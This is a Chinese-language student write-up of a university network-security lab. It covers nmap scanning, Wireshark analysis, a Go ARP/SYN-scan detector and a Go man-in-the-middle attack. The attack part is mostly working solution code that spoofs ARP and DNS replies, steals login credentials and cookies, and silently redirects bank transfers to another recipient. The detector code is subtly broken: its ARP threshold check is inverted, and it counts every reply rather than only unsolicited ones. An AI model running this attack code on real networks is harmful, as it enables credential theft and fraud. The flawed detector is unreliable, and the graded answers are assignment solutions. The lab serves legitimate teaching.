任务介绍

本项目涉及网络安全。您将使用现有软件来检查远程计算机和本地流量,并扮演一个强大的网络攻击者。第一部分和第二部分向您展示了简单的端口扫描如何揭示有关远程服务器的大量信息,以及如何使用Wireshark密切监视和理解您的计算机可观察到的网络流量。第三部分将集中讨论本地网络中的网络流量转储,并教您如何识别不同类型的异常。最后,在第四部分中,您将实现一个DNS欺骗器,劫持HTTP连接。该项目将巩固您对DNS和HTTP协议的机制和缺陷的理解。

Go语言。 该项目将使用Go语言实现,这是大多数人之前没有使用过的编程语言。因此,本项目的一部分将花费在学习如何使用Go上。为什么?正如您在项目1中看到的那样,C和C++在编写网络代码时存在许多内存安全陷阱。要编写完全安全的C/C++代码几乎是不可能的——即使有经验的程序员也会犯错误。例如,以下是Qualys发现的流行开源邮件服务器Exim中的一些漏洞

安全社区普遍认为未来的系统需要使用安全语言构建。出现了两种值得注意的语言:Go和Rust。Rust是一种低级语言,性能与C类似,但学习曲线非常陡峭。Go是一种简单得多的语言,通常用于性能要求较低的环境中。

如果您之前没有使用过Go,官方的《Go之旅》是一个很好的起点(实际上,我们将要求您在下面的部分0中完成两个部分)。我们还提供了使用Go的参考代码(第3部分和第4部分),以帮助您了解如何构建解决方案。

设置说明

  1. 您需要在第1部分中本地安装nmap:请按此处的安装说明为Mac用户安装,按此处的安装说明为Windows用户安装,按此处的安装说明为Linux用户安装。

  2. 您需要在第2部分中本地安装Wireshark:请在此处下载与您的操作系统相对应的稳定版本。

  3. 您需要在第3部分中本地安装Go和gopacket:首先,请按照此处的说明安装Go,然后在终端中进入已解压的任务文件夹的part3/目录(您应该看到detector.go和go.mod文件)。从该目录中运行go mod download——这将自动下载gopacket。

  4. 最后,您应该已经安装了Docker(用于第4部分)从第2项目的说明中可以查看如何安装它。

提交:

  1. 确保在本文档中提到的第[1,2,3,4]部分的交付成果位于各自的目录中;错放的交付成果可能无法获得学分。许多项目将自动进行评分,因此请务必按照给定的格式进行操作。

  2. 将包含完成的代码的名为"cs155 proj3 starter"的文件夹压缩/打包,其中包括part1、part2、part3和part4的文件夹。在压缩之前,请确保文件夹的名称为"cs155 proj3 starter",一旦压缩完成,将其命名为"cs155 proj3 starter.zip"。

    需要注意的是,为了提交项目3(部分1-3)的截止日期,您不需要更改part4文件夹中的初始代码。

  3. 将提交的压缩文件上传到Gradescope。

致谢

本项目部分内容引用了密歇根大学和伊利诺伊大学的项目组成部分。

第0部分:Go教程

如果您之前没有使用过Go,我们鼓励您在开始第3部分和第4部分之前先完成Go教程。具体而言,请完成“Go之旅”教程中的基础知识和方法与接口部分:https://tour.golang.org/list。我们还可选地建议安装启用了Go扩展的VSCode,这可能会使使用Go编码更加容易。

该教程的内容包括:

- 包、变量和函数。

- 流程控制语句:for、if、else、switch和defer

- 更多类型:结构体、切片和映射。

上面的教程将涵盖关于Go你需要知道的关于去完成部分3和4的要点。项目的这一部分没有可交付成果。

第1部分:Nmap端口扫描

端口扫描是一种方法,攻击者可以使用它来探测给定主机上打开的端口,了解服务器在公共可寻址接口上运行的软件的详细信息。有了这些信息,攻击者就可以更好地了解在哪里以及如何攻击受害服务器。端口扫描利用了TCP和ICMP中的协议,这些协议试图向发送方提供(可能太多了!)有关其连接失败原因的信息。

在这一部分中,您将使用nmap工具(https://nmap.org;https://en.wikipedia.org/wiki/Nmap)扫描服务器scanme.nmap.org。通过这样做,您应该能够看到简单扫描可以显示的强大信息。在扫描过程中,请确保:

  1. 只扫描scanme.nmap.org。不扫描其他服务器。只有在获得服务器操作人员的明确许可后,才应该扫描服务器。
  2. 使用Wireshark记录流量(参见第2部分)
  3. 使用TCP SYN扫描。(提示:请阅读nmap手册页,以找到要使用的适当标志。)
  4. 启用操作系统检测、版本检测、脚本扫描和traceroute功能。
  5. 做一个快速扫描(-T4)。
  6. 扫描所有端口。

斯坦福大学的网络速率限制了nmap扫描,所以如果你在斯坦福大学的网络中运行扫描,可能需要大约30分钟才能完成。离开斯坦福大学的网络,应该需要1到5分钟完成。为了防止你的电脑在扫描过程中睡眠,你可以从Mac操作系统的终端运行caffeinate,或者在Windows/Linux的设置中禁用睡眠。当您得到结果时,根据扫描结果报告以下关于目标服务器(scanme.nmap.org)的信息:

  1. 用于运行端口扫描的完整命令是什么(包括参数)?
  2. scanme.nmap.org的IP地址是什么?
  3. 目标服务器上打开了哪些端口?哪些应用程序在这些端口上运行?(对于这一部分,您只需要报告由nmap打印的服务名称。)
  4. 目标机器还运行着一个web服务器。使用什么web服务器软件和版本?它运行在哪些端口上?

请简单回答所有问题,格式在下面和提交模板中指定。

交付成果

PortScanAnswers.txt: 包含上面1-4题答案的文本文件。请确保您遵循文件中的答案格式,因为您的回答是自动评分的。如果你不遵守格式,你就会失分。
格式:

实验原理

nmap

nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台。实现任务一的功能需要使用如下指令:

-sS: 使用TCP的SYN进行扫描

-A: 启动Os检测,版本检测,脚本扫描和traceroute

-T <0-5>: 设置时间模板,值越小,IDS报警几率越低

-p: 扫描指定端口

-v: 信息详细级别

实验步骤

在第一部分,有三个要点,分别对应的指令为:

使用TCP SYN: -sS

启用操作系统检测、版本检测、脚本扫描和traceroute功能: -A

做一个快速扫描: -T4

扫描所有端口: -p-

因此命令为:nmap -sS -T4 -A -p- -v scanme.nmap.org

运行结果如下,可以看到目标网站的IP地址为45.33.32.156:

目标服务器上打开的端口及其运行的应用程序为:

22:ssh

80:http

9929:nping-echo

31337: tcpwrapped

目标机器运行着的web服务器为Ubuntu,web服务器软件为Apache httpd,版本为2.4.7,运行在80端口上:

整理答案:

第2部分:Wireshark嗅探

Wireshark是一款监控本地网络流量的工具。Wireshark可以获取被监控接口上所有报文的完整报头信息,并提供一个方便用户理解不同协议结构的图形化界面。正因为如此,它可以成为网络项目的一个有价值的调试工具,您将在第4部分中看到这一点。

使用Wireshark包分析工具(https://www.wireshark.org/、https://en.wikipedia.org/wiki/Wireshark)来检查第1部分中扫描期间nmap生成的流量。在实际运行扫描之前,您需要启动Wireshark并记录nmap将用于扫描的接口上的流量。当您得到结果时,请查看Wireshark捕获。使用Wireshark的过滤功能,查看nmap如何扫描单个端口。根据扫描结果,报告目标服务器的如下信息:

  1. scanme.nmap.org上的端口“关闭”是什么意思?更具体地说,如果有的话,服务器在响应发送到“关闭”端口的SYN包时给出的TCP包类型是什么?
  2. scanme.nmap.org上的端口被“过滤”意味着什么?更具体地说,如果有的话,服务器在响应发送到“过滤”端口的SYN包时给出的TCP包类型是什么?
  3. 除了向web服务器执行HTTP GET请求外,nmap还发送哪些其他HTTP请求类型?
  4. nmap修改哪些TCP参数来识别主机的操作系统?

再一次,请简短地回答所有问题;回答不要超过两到三句话。

交付成果

WiresharkAnswers.txt: 包含上述1-4题答案的文本文件。

实验原理

实验步骤

使用wireshark进行抓包后对文件进行分析。

找到关闭的端口为65519:
确定关闭端口

查找目标网址为45.33.32.156,端口号为65519的数据包,选择由网站回应的包进行查看,可以看到包的类型为RST:
rst

任选一个被拒绝的端口135:
拒绝端口

发现对于拒绝端口,网站没有回应:
nil

过滤http请求,可以看到,请求类型除了get外,还有post、propfind和options:
nil

Nmap 通过TCP/IP 协议栈的各个层来识别主机的操作系统。它会发送一系列TCP 数据包,并观察响应包中的 TCP 选项、标志、窗口大小等参数,从而推断出主机所使用的操作系统。过滤命令可以为:

1
ip.addr ==45.33.32.156 and (tcp.options.timestamp.tsval!=0 or tcp.options.timestamp.tsecr!=0)
WiresharkAnswers

可以看到,修改的参数有:Maximum segment size, No-Operation (NOP), Window scale, Timestamps, SACK permitted

整理成答案文件:
WiresharkAnswers

第3部分:数据包编程处理

在第2部分中,您使用Wireshark手动探索了网络跟踪。现在,您将以编程方式分析PCAP(数据包捕获)文件以检测可疑行为。具体来说,您将尝试识别端口扫描和ARP欺骗。

端口扫描。 在第1部分中,您使用nmap查找已知主机上的开放端口。端口扫描还可以用于查找在一个或多个目标端口上侦听服务的网络主机。它可以用于攻击性地定位易受攻击的系统,为攻击做准备,也可以用于防御性的研究或网络管理。因为大多数主机还没有准备好接收连接任何给定的端口,通常,在端口扫描期间,使用SYN+ACK数据包响应的主机数量要比最初接收到的SYN数据包少得多。通过在数据包跟踪中观察这种效果,您可以识别尝试端口扫描的主机。

ARP欺骗。 ARP欺骗是一种利用地址解析协议(ARP)的攻击,该协议用于发现网络中与给定IP地址相关联的MAC地址。当设备A需要向网络上的设备B发送数据包时,它最初只知道设备B的IP地址,需要确定设备B的MAC地址来填充以太网帧上的目的MAC地址。如果设备A没有这些信息,它会向本地网络上的所有计算机广播一个ARP包,询问哪个设备与该IP相关联。正常情况下,设备B会用包含其MAC地址和IP地址的ARP应答消息进行响应。然后设备A在发送数据包之前缓存这些信息。

因为ARP报文没有经过认证,所以任何设备都可以声明自己有任何IP地址。此外,对于,大多数网络设备自动缓存它们收到的任何ARP应答,而不管它们最初是否被请求过。在ARP欺骗攻击中,攻击者re反复发送声称控制某个地址的主动应答,目的是截取绑定到另一个系统的数据,从而对网络上的其他用户进行中间人攻击或拒绝服务攻击。

您的任务是开发一个Go程序来分析PCAP文件,以便检测可能的SYN扫描和ARP欺骗攻击。为此,您将使用gopacket,这是一个用于包操作和分解的库,您应该在前面的安装过程中安装它。你可以
有关gopacket的更多信息,请访问https://godoc.org/github.com/google/gopacket。 特别是,您应该检查“layers”Go包来解析不同的网络层:https://github.com/google/gopacket/tree/v1.1.19/layers。

你的程序将把要分析的PCAP文件的路径作为命令行参数:
运行检测器。

1
$ go run detector.go sample.pcap

打印输出应以未经授权的SYN扫描器行开始,后跟一组IP地址(每行一个),它们发送的SYN数据包数量是它们收到的SYN+ACK数据包数量的3倍以上,并且总共发送了超过5个SYN数据包。在计算时,您的程序应该默默地忽略格式错误或未使用以太网、IP和TCP的数据包。紧随这些IP地址之后的行应该打印未经授权的ARP欺骗者行,后跟一组MAC地址(每行一个),它们发送的未经请求的ARP回复超过5个。未经请求的ARP回复是指包含源IP和目标MAC地址组合与先前的请求不对应的回复(换句话说,每个请求应最多对应一个回复,而任何额外的回复都是未经请求的)。

可以从真实网络中捕获的大样本PCAP文件可以从https://cs155.stanford.edu/hw_and_proj/proj3/sample.pcap.gz 下载(您需要先解压缩gzip文件)。您可以通过在Wireshark中打开此文件来手动检查数据包。

对于此输入,您的程序的输出应与以下内容匹配,每个部分中的地址顺序可以任意:
提交格式3

交付成果

detector.go: 使用Go编写一个程序,完成上述任务,并将其提交为detector.go。我们将使用Go 1.18编译您的程序。您可以假设gopacket可用,并且可以使用标准的Go系统库,但您的程序应该是自包含的。它不得使用任何其他第三方依赖项。我们将使用各种不同的PCAP文件来评估您的检测器。我们提供了一个骨架文件,鼓励您使用,但只要您的程序以相同的方式接受PCAP文件的路径并产生与上述相同的输出,您就不需要使用该文件。

实验原理

编写go文件的思路如下:

  1. 打开.pcap文件:首先检查命令行参数,确保提供了一个文件路径,然后尝试打开该文件。

  2. 分析数据包:遍历文件中的每个数据包,根据数据包的类型(TCP、IP、以太网、ARP)进行不同的处理。

  3. 检测异常行为:对于TCP数据包,程序会统计每个IP地址发送的SYN包和收到的SYN+ACK包的数量。如果某个IP地址发送的SYN包数量是其收到的SYN+ACK包的三倍以上,且发送的SYN包总数超过5个,这个IP地址会被认为是异常的。对于ARP数据包,程序会统计每个MAC地址发送的未经请求的ARP回复的数量。如果某个MAC地址发送的未经请求的ARP回复超过5次,这个MAC地址会被认为是异常的。

实验步骤

阅读参考代码,在数据结构定义的部分,定义了三个关键结构:

1
2
3
addresses := map[string][2]int{}
arpRequests := map[string]map[string]int{}
arpMac := map[string]int{}

addresses:一个映射,键是IP地址,值是一个包含两个整数的数组,分别记录该IP地址发送的SYN包和收到的SYN+ACK包的数量。
arpRequests:一个嵌套映射,外层键是IP地址,内层键是MAC地址,值是整数,记录ARP请求的数量。
arpMac:一个映射,键是MAC地址,值是整数,记录每个MAC地址发送的未经请求的ARP回复的数量。

记录SYN包和SYN+ACK包的数量

程序首先会检查TCP、IPv4和以太网层是否都存在于当前数据包中,如果存在检查TCP层是否包含一个SYN标志而不包含ACK标志,这表明它是一个SYN包,如果是,它将增加与发送该SYN包的源IP地址关联的SYN计数。随后,检测是否同时包含SYN和ACK标志,这表明它是一个SYN+ACK包。如果是,它将增加与接收该SYN+ACK包的目的IP地址关联的SYN+ACK计数。

1
2
3
4
5
6
7
8
if tcpLayer.(*layers.TCP).SYN && !tcpLayer.(*layers.TCP).ACK {
addresses[ipLayer.(*layers.IPv4).SrcIP.To16().String()] =
[2]int{addresses[ipLayer.(*layers.IPv4).SrcIP.To16().String()][0] + 1, addresses[ipLayer.(*layers.IPv4).SrcIP.To16().String()][1]}
}
if tcpLayer.(*layers.TCP).SYN && tcpLayer.(*layers.TCP).ACK {
addresses[ipLayer.(*layers.IPv4).DstIP.To16().String()] =
[2]int{addresses[ipLayer.(*layers.IPv4).DstIP.To16().String()][0], addresses[ipLayer.(*layers.IPv4).DstIP.To16().String()][1] + 1}
}

记录ARP请求与回复的次数

如果数据包包含ARP层,则根据ARP操作类型(请求或回复)更新arpRequests和arpMac映射。对于ARP请求(操作码为1),它记录请求的次数,对于ARP回复(操作码为2),它记录未经请求的ARP回复的次数。

1
2
3
4
5
6
7
8
9
10
11
if arp.Operation == 1 {
if arpRequests[src] == nil {
m := make(map[string]int)
m[dst] = 1
arpRequests[src] = m
} else {
arpRequests[src][dst] += 1
}
} else if arp.Operation == 2 {
arpMac[dst] += 1
}

输出结果

进行次数判断并输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fmt.Println("Unauthorized SYN scanners:")
for ip, addr := range addresses {
// TODO: Print syn scanners
if addr[0] > 5 && addr[0] > 3*addr[1] {
fmt.Println(ip)
}
}

fmt.Println("Unauthorized ARP spoofers:")
for mac, count := range arpMac {
// TODO: Print arp spoofers
if count < 5 {
fmt.Println(mac)
}
}

运行成功,结果如下:
运行结果

第4部分:中间人攻击

现在你已经分析了之前捕获的恶意网络流量,是时候编写自己的攻击代码了。通过这样做,你将揭示与ARP、DNS和HTTP协议中缺乏身份验证相关的安全问题,并学习如何使用强大的数据包操作库。

在这个任务中,你将扮演一个网络攻击者的角色,欺骗受害者的网络浏览器连接到攻击者的Web服务器fakebank.com,而不是受害者想要访问的实际网站。通过这样做,攻击者可以进行中间人攻击,将受害者的请求转发到目标网站,并在过程中悄悄窃取机密信息。为了实现这一点,你需要伪造一个ARP响应,欺骗用户将攻击者的设备误认为DNS服务器。然后,你需要发送一个伪造的DNS响应,欺骗用户将主机名与攻击者的IP地址关联起来,而不是真实地址。一旦DNS响应成功伪造,你将接受来自受害者的连接,并将所有的HTTP请求转发到实际的Web服务器fakebank.com

漏洞

在这次攻击中,你将利用DNS和ARP的缺乏身份验证以及HTTP的缺乏加密来进行攻击。由于ARP没有经过身份验证,局域网上的任何人都能够声称拥有任何IP地址。这意味着攻击者可以响应ARP请求,并假装成本地DNS服务器。由于DNS没有经过身份验证,用户无法知道他们正在与真实的DNS服务器通信。这使得攻击者可以通过伪造的地址响应DNS请求,从而欺骗客户端连接到错误的域的IP地址。结合HTTP的明文传输和缺乏身份验证的特点,任何攻击者都可以秘密地拦截甚至修改两个认为彼此直接通信的参与方之间的通信,这就是所谓的中间人攻击。这种攻击展示了为什么HTTPS在当今如此重要。

网络拓扑

你要对其进行攻击的网络拓扑如下所示。在这个任务中,我们假设攻击者、受害者和DNS解析器都相互连接。如果每台计算机都连接到同一个未加密的WiFi网络,就会出现这种情况。这使得攻击者能够嗅探受害者和DNS解析器之间的数据包,以及客户端与公共互联网之间的数据包。这也使得攻击者能够伪造数据包。

攻击要求

与第三部分类似,你将使用Go和gopacket库以快速和可靠的方式操纵数据包头。所有的代码更改将在part4/目录下的mitm.go文件中进行。

你的攻击要求如下:

ARP攻击: 当客户端发出对10.38.8.2的ARP请求时,你的攻击程序必须发送一个伪造的ARP响应,其中包含攻击者的MAC地址。你必须在一秒内发送此响应,以超过真实DNS服务器的响应时间。你必须忽略其他IP地址的ARP请求。

DNS攻击: 当客户端在fakebank.com查询DNS的A记录时,你的攻击程序必须发送一个伪造的DNS响应,其中包含攻击者的IP地址。你必须忽略其他名称或记录类型的DNS查询。

HTTP攻击: 你的程序必须监听HTTP请求,将它们转发到bank服务器,并将服务器的响应原封不动地返回给客户端。在这个过程中,你必须满足以下窃听和伪造的准则:

  1. 当客户端向银行的/login端点发出POST请求时,你的攻击程序必须窃取用户的凭据,即请求体中的用户名和密码参数的值。它必须通过发送它们到cs155.StealCredentials函数来记录这些凭据,该函数将把它们打印到控制台上。

  2. 当客户端向银行的/transfer端点发出POST请求时,你的程序必须将to值更改为Jason,并将此请求转发给银行。当向客户端响应时,你的程序必须撤销此更改,使响应中的to参数包含客户端发送的值。

  3. 每当您的程序收到对/kill端点的任何请求时,您的程序必须立即退出。这个要求已经在初始代码中为您实现了。

  4. 对于所有其他端点,您的程序必须原样转发流量,不做任何修改,就像一个代理服务器一样。

  5. 对于客户端发出的任何请求,您的程序必须窃取客户端发送或服务器设置的所有Cookie。也就是说,每当客户端发送Cookie请求头,或者服务器以Set-Cookie头响应时,您的程序必须分别将cookie名称和值发送到cs155.StealClientCookie或cs155.StealServerCookie函数。

测试您的攻击

与项目2类似,我们将使用Docker。(注意:如果您使用的是Linux,您将需要以sudo特权运行下面的命令。)

  • 要构建运行后端HTTP和DNS服务器的镜像,请先运行:
1
$ bash start_images.sh

如果您在调试过程中修改了network/目录中的任何文件,您需要重新运行此命令。

  • 要测试您的mitm.go实现,请运行:
1
$ bash run_client.sh

每当您对mitm.go文件进行更改并希望查看更新后的输出时,您需要重新运行此命令。

  • 在完成项目后停止镜像,请运行:
1
$ bash stop_images.sh

如果上述任何命令给您带来麻烦,请尝试运行docker system prune。这将清理与之前实例相关的文件,以防它们在构建过程中引起问题。类似地,如果您想完全删除计算机上未使用的映像和容器(例如在完成项目并希望节省空间时),可以运行docker system prune -a。

其他信息

  • 如果您的程序完全实现,您应该会看到如正确的mitm output.txt所述的输出,唯一的例外是关于tcpdump或捕获/接收/丢弃数据包的行可能不完全匹配。如果在STAGE 1/4行之前或退出状态行之后看到额外的输出,不必担心。

  • 对于此任务,假设攻击者控制受害者和解析器之间的路由器。因此,攻击者对受害者的响应与实际解析器的响应之间不会发生竞争条件。但是,您的攻击必须在一秒内发送响应。请注意,这在实际情况下通常不会发生。

  • 为了方便调试,我们从bash run_client.sh运行中捕获网络流量,并将其输出到output/packetdump.pcap文件中。您可以在Wireshark中打开该pcap文件,以查看运行过程中发生的网络流量。在第2部分中,您已经接触到了Wireshark,并且能够查看网络上发送的确切数据包是一个强大的调试工具。

  • 为了帮助故障排除,我们使真实的DNS服务器永远不会响应。因此,当您的程序无法发送有效的DNS响应时,DNS解析将失败,并且客户端在登录过程中会崩溃,出现诸如i/o超时或未找到DNS问题的答案等错误。

  • 您可能希望暂时修改DNS服务器,以便它能够响应并观察发生的情况,以更好地理解攻击的性质。如果您这样做,请记住重新运行bash start_images.sh以重新构建您的更改,并在提交之前记得再次注释掉该功能,否则它将混乱您的输出。

  • 提示:考虑一下所提供的DNS和HTTP服务器中存在的代码以及攻击者在攻击中模拟的内容之间的关系。

提交内容

mitm.go: 您应该提交您的独立的mitm.go源文件。我们将使用Go 1.18编译您的程序。您可以假设gopacket可用,并且可以使用标准的Go系统库,但是您的程序应该是自包含的。它不能使用任何其他第三方依赖项。您可以更改mitm.go的结构,但不能更改任何依赖项(即cs155库中的任何内容)。您必须调用cs155函数-不要将该代码复制到您的源文件中或构建自己的打印函数。自动评分程序可能使用提供相同接口的库的不同版本。

实验原理

DNS劫持:攻击者可以篡改DNS响应,将用户的DNS请求重定向到恶意的IP地址,从而引导用户访问恶意网站或者窃取用户敏感信息。

ARP欺骗:攻击者通过伪造ARP响应或欺骗ARP表,将自己的MAC地址与合法主机的IP地址绑定,从而劫持网络通信流量,进行中间人攻击或窃取敏感信息。

HTTP代理:
信息泄露:HTTP是明文协议,网络中传输的数据不经过加密,因此攻击者可以窃听和拦截HTTP通信,获取敏感信息,如登录凭证、用户数据等。

跨站请求伪造(CSRF):攻击者可以通过伪造合法用户的请求,使用户在不知情的情况下执行恶意操作,如修改个人资料、执行资金转移等。

实验内容

ARP欺骗

Todo 1:处理ARP包,如果是针对特定IP的请求,则发送伪造的ARP响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Only grab ARP requests that did not originate from us
if arpData.Operation == 1 && !bytes.Equal(arpData.SourceHwAddress, cs155.GetLocalMAC()) {
// TODO #1: When the client sends and ARP request, send a spoofed reply
// (use ARPIntercept, SpoofARP, and SendRawEther where necessary)
//
// Hint: Store all the data you need in the ARPIntercept struct and
// pass it to spoofARP(). spoofARP() returns a slice of bytes,
// which can be sent over the wire with sendRawEthernet()
if net.IP(arpData.DstProtAddress).String() == "10.38.8.2" {
intercept := ARPIntercept{
net.HardwareAddr(arpData.SourceHwAddress),
net.IP(arpData.SourceProtAddress),
net.IP(arpData.DstProtAddress)}
buf_bytes := spoofARP(intercept)
sendRawEthernet(buf_bytes)
}
}

Todo 2: 定义ARP相关数据结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
ARPIntercept stores information from a captured ARP packet
in order to craft a spoofed ARP reply
*/
type ARPIntercept struct {
// TODO #2: Figure out what needs to be intercepted from the ARP request
// for the DNS server's IP address
//
// Hint: The types net.HardwareAddr and net.IP are the best way to represent
// a hardware address and an IP address respectively.
SourceHwAddress net.HardwareAddr
SourceProtAddress net.IP
DstProtAddress net.IP
}

Todo 3: 构造伪造ARP数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// In order to make a packet with the spoofed ARP reply, we need to
// create a spoofed ARP reply and an Ethernet frame to send it in
// We will need to fill in the headers for both Ethernet and ARP

// TODO #3: Fill in the missing fields below to construct your spoofed ARP response
arp := &layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6, // number of bytes in a MAC address
ProtAddressSize: 4, // number of bytes in an IPv4 address
Operation: 2, // Indicates this is an ARP reply
// SourceHwAddress: TODO,
// SourceProtAddress: TODO,
// DstHwAddress: TODO,
// DstProtAddress: TODO,
SourceHwAddress: cs155.GetLocalMAC(),
SourceProtAddress: intercept.DstProtAddress,
DstHwAddress: intercept.SourceHwAddress,
DstProtAddress: intercept.SourceProtAddress,
}
ethernet := &layers.Ethernet{
EthernetType: layers.EthernetTypeARP,
// SrcMAC: TODO,
// DstMAC: TODO,
SrcMAC: cs155.GetLocalMAC(),
DstMAC: intercept.SourceHwAddress
}
DNS欺骗

Todo 4: 处理捕获的UDP包,检查是否包含DNS查询,并对特定查询进行DNS响应欺骗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// TODO #4: When the client queries fakebank.com, send a spoofed response.
// (use dnsIntercept, spoofDNS, and sendRawUDP where necessary)
// Hint: Parse dnsData, then search for an exact match of "fakebank.com". To do
// this, you may have to index into an array; make sure its
// length is non-zero before doing so!
// Hint: In addition, you don't want to respond to your spoofed
// response as it travels over the network, so check that the
// DNS packet has no answer (also stored in an array).
// Hint: Because the payload variable above is a []byte, you may find
// this line of code useful when calling spoofDNS, since it requires
// a gopacket.Payload type: castPayload := gopacket.Payload(payload)

if dnsData.QDCount > 0 && dnsData.ANCount == 0 && string(dnsData.Questions[0].Name) == "fakebank.com" {
castPayload := gopacket.Payload(payload)

var intercept dnsIntercept

udpData, _ := udpLayer.(*layers.UDP)
intercept.SrcPort = udpData.SrcPort
intercept.DstPort = udpData.DstPort

ipLayer := packet.Layer(layers.LayerTypeIPv4)
ipData, _ := ipLayer.(*layers.IPv4)
intercept.SrcIP = ipData.SrcIP
intercept.DstIP = ipData.DstIP

buf_bytes := spoofDNS(intercept, castPayload)
port := int(udpData.SrcPort)
dest := ipData.SrcIP
sendRawUDP(port, dest, buf_bytes)
}

Todo 5: 定义DNS相关数据结构体;

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
dnsIntercept stores the pertinent information from a captured DNS packet
in order to craft a response in spoofDNS.
*/
type dnsIntercept struct {

// TODO #5: Determine what needs to be intercepted from the DNS request
// for fakebank.com in order to craft a spoofed answer.
SrcIP net.IP
DstIP net.IP
SrcPort layers.UDPPort
DstPort layers.UDPPort
}

Todo 6: 生成伪造的DNS响应数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// In order to make a packet containing the spoofed DNS answer, we need
// to start from layer 3 of the OSI model (IP) and work upwards, filling
// in the headers of the IP, UDP, and finally DNS layers.

// TODO #6: Fill in the missing fields below to construct the base layers of
// your spoofed DNS packet. If you are confused about what the Protocol
// variable means, Google and IANA are your friends!
ip := &layers.IPv4{
// fakebank.com operates on IPv4 exclusively.
Version: 4,
// Protocol: TODO,
// SrcIP: TODO,
// DstIP: TODO,
Protocol: layers.IPProtocolUDP,
SrcIP: intercept.DstIP,
DstIP: intercept.SrcIP,
TTL: 255}
udp := &layers.UDP{
// SrcPort: TODO,
// DstPort: TODO,
SrcPort: intercept.DstPort,
DstPort: intercept.SrcPort}

Todo 7: 构造DNS层,设置相关属性,并添加一个DNS应答记录,指定fakebank.com的IP地址为攻击者的IP:

1
2
3
4
5
6
7
8
9
10
11
12
13
// TODO #7: Populate the DNS layer (dns) with your answer that points to the attack web server
// Your business-minded friends may have dropped some hints elsewhere in the network!
dns.ANCount = 1
dns.QR = true
dns.ResponseCode = layers.DNSResponseCodeNoErr
var answer layers.DNSResourceRecord
answer.Name = []byte{'f', 'a', 'k', 'e', 'b', 'a', 'n', 'k', '.', 'c', 'o', 'm'}
answer.Type = layers.DNSTypeA
answer.Class = layers.DNSClassIN
local_ip, _, _ := net.ParseCIDR(cs155.GetLocalIP())
answer.IP = local_ip
//dns.Answers = []layers.DNSResourceRecord{answer}
dns.Answers = append(dns.Answers, answer)
HTTP代理

Todo 8: 利用SpoofBankRequest和WriteClientResponse函数处理HTTP请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// TODO #8: Handle HTTP requests. Roughly speaking, you should delegate most of the work to
// SpoofBankRequest and WriteClientResponse, which handle endpoint-specific tasks,
// and use this function for the more general tasks that remain, like stealing cookies
// and actually communicating over the network.
//
// Hint: You will want to create an http.Client object to deliver the spoofed
// HTTP request, and to capture the real fakebank.com's response.
//
// Hint: Make sure to check for cookies in both the request and response!

jar, _ := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})
client := &http.Client{
Jar: jar,
}

if len(r.Cookies()) != 0 {
for _, cookie := range r.Cookies() {
cs155.StealClientCookie(cookie.Name, cookie.Value)
}
}

request := spoofBankRequest(r)
if response, err := client.Do(request); err != nil {
panic(err)
} else {
if len(response.Cookies()) != 0 {
for _, cookie := range response.Cookies() {
cs155.StealServerCookie(cookie.Name, cookie.Value)
}
}
rw = *writeClientResponse(response, r, &rw)
}

Todo 9: 客户登录时,解析请求的表单数据,窃取凭据,并创建一个新的请求,保留原始值不变:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if origRequest.URL.Path == "/login" {

// TODO #9: Since the client is logging in,
// - parse the request's form data,
// - steal the credentials,
// - make a new request, leaving the values untouched
//
// Hint: Once you parse the form (Google is your friend!), the form
// becomes a url.Values object. As a consequence, you cannot
// simply reuse origRequest, and must make a new request.
// However, url.Values supports member functions Get(), Set(),
// and Encode(). Encode() URL-encodes the form data into a string.
//
// Hint: http.NewRequest()'s third parameter, body, is an io.Reader object.
// You can wrap the URL-encoded form data into a Reader with the
// strings.NewReader() function.
origRequest.ParseForm()
username := origRequest.FormValue("username")
password := origRequest.FormValue("password")
cs155.StealCredentials(username, password)

method := origRequest.Method
body := strings.NewReader(origRequest.Form.Encode())
bankRequest, _ = http.NewRequest(method, bankURL, body)
}

Todo 10: 客户转账时,解析请求的表单数据,如果表单中有一个名为 “to” 的键,将其修改为 “Jason”,使用更新后的表单值创建一个新请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if origRequest.URL.Path == "/transfer" {

// TODO #10: Since the client is transferring money,
// - parse the request's form data
// - if the form has a key named "to", modify it to "Jason"
// - make a new request with the updated form values
origRequest.ParseForm()
if origRequest.Form.Has("to") {
origRequest.Form.Set("to", "Jason")
}
method := origRequest.Method
body := strings.NewReader(origRequest.Form.Encode())
bankRequest, _ = http.NewRequest(method, bankURL, body)

}

Todo 11: 使用原始请求将收件人更改回客户端期望的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if origRequest.URL.Path == "/transfer" {

// TODO #11: Use the original request to change the recipient back to the
// value expected by the client.
//
// Hint: Unlike an http.Request object which uses an io.Reader object
// as the body, the body of an http.Response object is an io.ReadCloser.
// ioutil.ReadAll() takes an io.ReadCloser and outputs []byte.
// ioutil.NopCloser() takes an io.Reader and outputs io.ReadCloser.
// strings.ReplaceAll() replaces occurrences of substrings in string.
// You can convert between []bytes and strings via string() and []byte.
//
// Hint: bytes.NewReader() is analogous to strings.NewReader() in the
// /login endpoint, where you could wrap a string in an io.Reader.
origRequest.ParseForm()
recipient := origRequest.Form.Get("to")
body, _ := ioutil.ReadAll(bankResponse.Body)
body_str := string(body)
body_str_new := strings.ReplaceAll(body_str, "Jason", recipient)
body_new := ioutil.NopCloser(strings.NewReader(body_str_new))
bankResponse.Body = body_new

}
攻击测试

构建运行后端HTTP和DNS服务器的镜像:
运行结果

测试mitm.go:
运行结果
